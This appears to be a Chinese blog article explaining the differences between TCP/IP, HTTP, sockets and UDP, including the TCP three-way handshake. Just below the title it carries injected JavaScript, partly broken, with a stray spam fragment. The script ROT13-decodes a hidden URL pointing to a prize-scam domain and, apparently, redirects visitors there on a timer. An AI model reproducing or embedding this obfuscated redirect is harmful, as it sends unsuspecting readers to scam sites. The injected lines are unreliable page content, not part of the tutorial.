TCP/IP、Http、Socket、UDP区别

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
网络由下往上分为物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。IP协议对应网络层,TCP对应传输层、HTTP对应应用层。所以三者从本质上来说是没有可比性的。Socket则是对TCP/IP协议的封装和应用。TCP/IP协议是传输层协议,主要解决的是数据如何在网络中传输,而HTTP是应用层协议,主要解决如何包装数据。

我们在传输数据的时候可以只使用TCP/IP协议,但是这样的话,如果没有应用层就无法识别数据内容,如果想要使传输的数据有意义,则必须使用到应用层协议,应用层协议有很多,比如HTTP、FTP、TELNET等。WEB使用HTTP协议作为应用层协议,以封装HTTP文本信息,然后使用TCP/IP作为传输层协议将其发送到网络上。

Socket本身并不是一个协议,而是对TCP/IP的封装,是一个调用接口API,通过socket才能使用TCP/IP协议。TCP/IP只是一个协议栈,就像操作系统的运行机制一样,必须要具体实现,同时还要提供对外的操作接口,这个就像操作系统会提供标准的编程接口,TCP/IP提供可供程序员做网络开发所用的接口就是socket编程接口。

小结:传输层的TCP是是基于网络层的IP协议,而应用层的HTTP协议又是基于传输层的TCP协议的,而Socket本身并不算协议,只是提供了一个针对TCP或者UDP编程接口。

 

几个问题:

TCP和UDP的区别

TCP是面向连接的,虽然说网络的不安全和不稳定性的特性决定了多少次握手都不能保证连接的可靠性,当TCP的三次握手在最低的限度上保证了连接的可靠性;而UDP不是面向连接的,UDP传送数据前并不与对方建立连接,对接收到的数据也不发送确认信号,发送端不知道数据是否会被正确接收,当然也不会重发。
正是由于UDP的这些特点,使得UDP开销更小,传输速率更高,因为不需要进行收发数据的确认,所以UDP的实时性更好。

 

HTTP连接特点

HTTP最显著的特点是客户端发送的每次请求都需要服务器回送相应,在请求结束后会主动释放连接,从建立到关闭连接的过程称为“一次连接”。
是建立在TCP协议之上的一种应用。

 

TCP连接的三次握手

第一次握手:客户端发送syn包到服务器并进入SYN_SEND状态,等待服务器确认。
第二次握手,服务器收到syn包,必须确认客户端的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV。
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(act=k+1), 此包发送完毕,客户端和服务器进入ESTABLISHED状态完成三次握手
注意:在三次握手的过程中传输的包里是不包含数据的,三次握手完毕之后,客户端与服务器才正式开始传递数据。理想的状态下,TCP连接一旦建立,在通信双方中的任何一方主动关闭连接前,TCP连接都将被一直保持下去,断开连接时服务器和客户端均可以发起断开TCP的请求,断开需要经历“四次握手”,